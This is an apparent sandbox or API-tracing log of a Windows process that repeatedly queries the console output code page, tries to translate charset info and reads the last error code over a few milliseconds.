	[0088.242] GetConsoleOutputCP () returned 0x1b5
	[0088.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.242] GetLastError () returned 0xcb
	[0088.242] GetConsoleOutputCP () returned 0x1b5
	[0088.243] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.243] GetLastError () returned 0xcb
	[0088.243] GetConsoleOutputCP () returned 0x1b5
	[0088.243] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.243] GetLastError () returned 0xcb
	[0088.243] GetConsoleOutputCP () returned 0x1b5
	[0088.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.244] GetLastError () returned 0xcb
	[0088.244] GetConsoleOutputCP () returned 0x1b5
	[0088.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.244] GetLastError () returned 0xcb
	[0088.244] GetConsoleOutputCP () returned 0x1b5
	[0088.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.244] GetLastError () returned 0xcb
	[0088.244] GetConsoleOutputCP () returned 0x1b5
	[0088.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.244] GetLastError () returned 0xcb
	[0088.244] GetConsoleOutputCP () returned 0x1b5
	[0088.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.244] GetLastError () returned 0xcb
	[0088.244] GetConsoleOutputCP () returned 0x1b5
	[0088.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.245] GetLastError () returned 0xcb
	[0088.245] GetConsoleOutputCP () returned 0x1b5
	[0088.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.245] GetLastError () returned 0xcb
	[0088.245] GetConsoleOutputCP () returned 0x1b5
	[0088.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.245] GetLastError () returned 0xcb
	[0088.245] GetConsoleOutputCP () returned 0x1b5
	[0088.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.245] GetLastError () returned 0xcb
	[0088.245] GetConsoleOutputCP () returned 0x1b5
	[0088.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.245] GetLastError () returned 0xcb
	[0088.245] GetConsoleOutputCP () returned 0x1b5
	[0088.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.246] GetLastError () returned 0xcb
	[0088.246] GetConsoleOutputCP () returned 0x1b5
	[0088.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.246] GetLastError () returned 0xcb
	[0088.246] GetConsoleOutputCP () returned 0x1b5
	[0088.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.246] GetLastError () returned 0xcb
	[0088.246] GetConsoleOutputCP () returned 0x1b5
	[0088.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.246] GetLastError () returned 0xcb
	[0088.246] GetConsoleOutputCP () returned 0x1b5
	[0088.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.246] GetLastError () returned 0xcb
	[0088.246] GetConsoleOutputCP () returned 0x1b5
	[0088.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.247] GetLastError () returned 0xcb
	[0088.247] GetConsoleOutputCP () returned 0x1b5
	[0088.247] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.247] GetLastError () returned 0xcb
	[0088.247] GetConsoleOutputCP () returned 0x1b5
	[0088.247] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.247] GetLastError () returned 0xcb
	[0088.247] GetConsoleOutputCP () returned 0x1b5
	[0088.247] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.247] GetLastError () returned 0xcb
	[0088.247] GetConsoleOutputCP () returned 0x1b5
	[0088.247] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.247] GetLastError () returned 0xcb
	[0088.247] GetConsoleOutputCP () returned 0x1b5
	[0088.247] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.247] GetLastError () returned 0xcb
	[0088.248] GetConsoleOutputCP () returned 0x1b5
	[0088.248] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.248] GetLastError () returned 0xcb
	[0088.248] GetConsoleOutputCP () returned 0x1b5
	[0088.248] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.248] GetLastError () returned 0xcb
	[0088.248] GetConsoleOutputCP () returned 0x1b5
	[0088.248] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.248] GetLastError () returned 0xcb
	[0088.248] GetConsoleOutputCP () returned 0x1b5
	[0088.248] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.248] GetLastError () returned 0xcb
	[0088.248] GetConsoleOutputCP () returned 0x1b5
	[0088.248] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.248] GetLastError () returned 0xcb
	[0088.248] GetConsoleOutputCP () returned 0x1b5
	[0088.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.249] GetLastError () returned 0xcb
	[0088.249] GetConsoleOutputCP () returned 0x1b5
	[0088.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.249] GetLastError () returned 0xcb
	[0088.249] GetConsoleOutputCP () returned 0x1b5
	[0088.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.249] GetLastError () returned 0xcb
	[0088.249] GetConsoleOutputCP () returned 0x1b5
	[0088.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.249] GetLastError () returned 0xcb
	[0088.249] GetConsoleOutputCP () returned 0x1b5
	[0088.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.249] GetLastError () returned 0xcb
	[0088.249] GetConsoleOutputCP () returned 0x1b5
	[0088.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.250] GetLastError () returned 0xcb
	[0088.250] GetConsoleOutputCP () returned 0x1b5
	[0088.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.250] GetLastError () returned 0xcb
	[0088.250] GetConsoleOutputCP () returned 0x1b5
	[0088.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.250] GetLastError () returned 0xcb
	[0088.250] GetConsoleOutputCP () returned 0x1b5
	[0088.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.250] GetLastError () returned 0xcb
	[0088.250] GetConsoleOutputCP () returned 0x1b5
	[0088.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.250] GetLastError () returned 0xcb
	[0088.250] GetConsoleOutputCP () returned 0x1b5
	[0088.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.251] GetLastError () returned 0xcb
	[0088.251] GetConsoleOutputCP () returned 0x1b5
	[0088.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.251] GetLastError () returned 0xcb
	[0088.251] GetConsoleOutputCP () returned 0x1b5
	[0088.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.251] GetLastError () returned 0xcb
	[0088.251] GetConsoleOutputCP () returned 0x1b5
	[0088.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.251] GetLastError () returned 0xcb
	[0088.251] GetConsoleOutputCP () returned 0x1b5
	[0088.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.252] GetLastError () returned 0xcb
	[0088.252] GetConsoleOutputCP () returned 0x1b5
	[0088.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.252] GetLastError () returned 0xcb
	[0088.252] GetConsoleOutputCP () returned 0x1b5
	[0088.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.252] GetLastError () returned 0xcb
	[0088.252] GetConsoleOutputCP () returned 0x1b5
	[0088.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.252] GetLastError () returned 0xcb
	[0088.252] GetConsoleOutputCP () returned 0x1b5
	[0088.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.252] GetLastError () returned 0xcb
	[0088.252] GetConsoleOutputCP () returned 0x1b5
	[0088.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.252] GetLastError () returned 0xcb
	[0088.252] GetConsoleOutputCP () returned 0x1b5
	[0088.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.253] GetLastError () returned 0xcb
	[0088.253] GetConsoleOutputCP () returned 0x1b5
	[0088.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.253] GetLastError () returned 0xcb
	[0088.253] GetConsoleOutputCP () returned 0x1b5
	[0088.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.253] GetLastError () returned 0xcb
	[0088.253] GetConsoleOutputCP () returned 0x1b5
	[0088.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.253] GetLastError () returned 0xcb
	[0088.253] GetConsoleOutputCP () returned 0x1b5
	[0088.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.254] GetLastError () returned 0xcb
	[0088.254] GetConsoleOutputCP () returned 0x1b5
	[0088.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.254] GetLastError () returned 0xcb
	[0088.254] GetConsoleOutputCP () returned 0x1b5
	[0088.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.254] GetLastError () returned 0xcb
	[0088.254] GetConsoleOutputCP () returned 0x1b5
	[0088.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.254] GetLastError () returned 0xcb
	[0088.254] GetConsoleOutputCP () returned 0x1b5
	[0088.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.254] GetLastError () returned 0xcb
	[0088.254] GetConsoleOutputCP () returned 0x1b5
	[0088.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.255] GetLastError () returned 0xcb
	[0088.255] GetConsoleOutputCP () returned 0x1b5
	[0088.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.255] GetLastError () returned 0xcb
	[0088.255] GetConsoleOutputCP () returned 0x1b5
	[0088.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.255] GetLastError () returned 0xcb
	[0088.255] GetConsoleOutputCP () returned 0x1b5
	[0088.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.255] GetLastError () returned 0xcb
	[0088.255] GetConsoleOutputCP () returned 0x1b5
	[0088.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.255] GetLastError () returned 0xcb
	[0088.255] GetConsoleOutputCP () returned 0x1b5
	[0088.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.256] GetLastError () returned 0xcb
	[0088.256] GetConsoleOutputCP () returned 0x1b5
	[0088.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.256] GetLastError () returned 0xcb
	[0088.256] GetConsoleOutputCP () returned 0x1b5
	[0088.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.256] GetLastError () returned 0xcb
	[0088.256] GetConsoleOutputCP () returned 0x1b5
	[0088.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.256] GetLastError () returned 0xcb
	[0088.256] GetConsoleOutputCP () returned 0x1b5
	[0088.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.256] GetLastError () returned 0xcb
	[0088.256] GetConsoleOutputCP () returned 0x1b5
	[0088.256] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.256] GetLastError () returned 0xcb
	[0088.257] GetConsoleOutputCP () returned 0x1b5
	[0088.257] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.257] GetLastError () returned 0xcb
	[0088.257] GetConsoleOutputCP () returned 0x1b5
	[0088.257] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.257] GetLastError () returned 0xcb
	[0088.257] GetConsoleOutputCP () returned 0x1b5
	[0088.257] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.257] GetLastError () returned 0xcb
	[0088.257] GetConsoleOutputCP () returned 0x1b5
	[0088.257] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.257] GetLastError () returned 0xcb
	[0088.257] GetConsoleOutputCP () returned 0x1b5
	[0088.257] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.257] GetLastError () returned 0xcb
	[0088.257] GetConsoleOutputCP () returned 0x1b5
	[0088.258] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.258] GetLastError () returned 0xcb
	[0088.258] GetConsoleOutputCP () returned 0x1b5
	[0088.258] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.258] GetLastError () returned 0xcb
	[0088.258] GetConsoleOutputCP () returned 0x1b5
	[0088.258] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.258] GetLastError () returned 0xcb
	[0088.258] GetConsoleOutputCP () returned 0x1b5
	[0088.258] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.258] GetLastError () returned 0xcb
	[0088.258] GetConsoleOutputCP () returned 0x1b5
	[0088.258] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.258] GetLastError () returned 0xcb
	[0088.258] GetConsoleOutputCP () returned 0x1b5
	[0088.259] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.259] GetLastError () returned 0xcb
	[0088.259] GetConsoleOutputCP () returned 0x1b5
	[0088.259] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.259] GetLastError () returned 0xcb
	[0088.259] GetConsoleOutputCP () returned 0x1b5
	[0088.259] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.259] GetLastError () returned 0xcb
	[0088.259] GetConsoleOutputCP () returned 0x1b5
	[0088.259] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.259] GetLastError () returned 0xcb
	[0088.259] GetConsoleOutputCP () returned 0x1b5
	[0088.260] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.260] GetLastError () returned 0xcb
	[0088.260] GetConsoleOutputCP () returned 0x1b5
	[0088.260] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.260] GetLastError () returned 0xcb
	[0088.260] GetConsoleOutputCP () returned 0x1b5
	[0088.260] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.260] GetLastError () returned 0xcb
	[0088.260] GetConsoleOutputCP () returned 0x1b5
	[0088.260] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.260] GetLastError () returned 0xcb
	[0088.260] GetConsoleOutputCP () returned 0x1b5
	[0088.260] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.260] GetLastError () returned 0xcb
	[0088.260] GetConsoleOutputCP () returned 0x1b5
	[0088.260] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.261] GetLastError () returned 0xcb
	[0088.261] GetConsoleOutputCP () returned 0x1b5
	[0088.261] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.261] GetLastError () returned 0xcb
	[0088.261] GetConsoleOutputCP () returned 0x1b5
	[0088.261] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.261] GetLastError () returned 0xcb
	[0088.261] GetConsoleOutputCP () returned 0x1b5
	[0088.261] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.261] GetLastError () returned 0xcb
	[0088.261] GetConsoleOutputCP () returned 0x1b5
	[0088.261] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.261] GetLastError () returned 0xcb
	[0088.261] GetConsoleOutputCP () returned 0x1b5
	[0088.262] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.262] GetLastError () returned 0xcb
	[0088.262] GetConsoleOutputCP () returned 0x1b5
	[0088.262] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.262] GetLastError () returned 0xcb
	[0088.262] GetConsoleOutputCP () returned 0x1b5
	[0088.262] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.262] GetLastError () returned 0xcb
	[0088.262] GetConsoleOutputCP () returned 0x1b5
	[0088.262] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.262] GetLastError () returned 0xcb
	[0088.262] GetConsoleOutputCP () returned 0x1b5
	[0088.262] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.262] GetLastError () returned 0xcb
	[0088.262] GetConsoleOutputCP () returned 0x1b5
	[0088.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.265] GetLastError () returned 0xcb
	[0088.265] GetConsoleOutputCP () returned 0x1b5
	[0088.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.265] GetLastError () returned 0xcb
	[0088.265] GetConsoleOutputCP () returned 0x1b5
	[0088.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.265] GetLastError () returned 0xcb
	[0088.265] GetConsoleOutputCP () returned 0x1b5
	[0088.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.265] GetLastError () returned 0xcb
	[0088.265] GetConsoleOutputCP () returned 0x1b5
	[0088.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.265] GetLastError () returned 0xcb
	[0088.265] GetConsoleOutputCP () returned 0x1b5
	[0088.265] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.265] GetLastError () returned 0xcb
	[0088.265] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
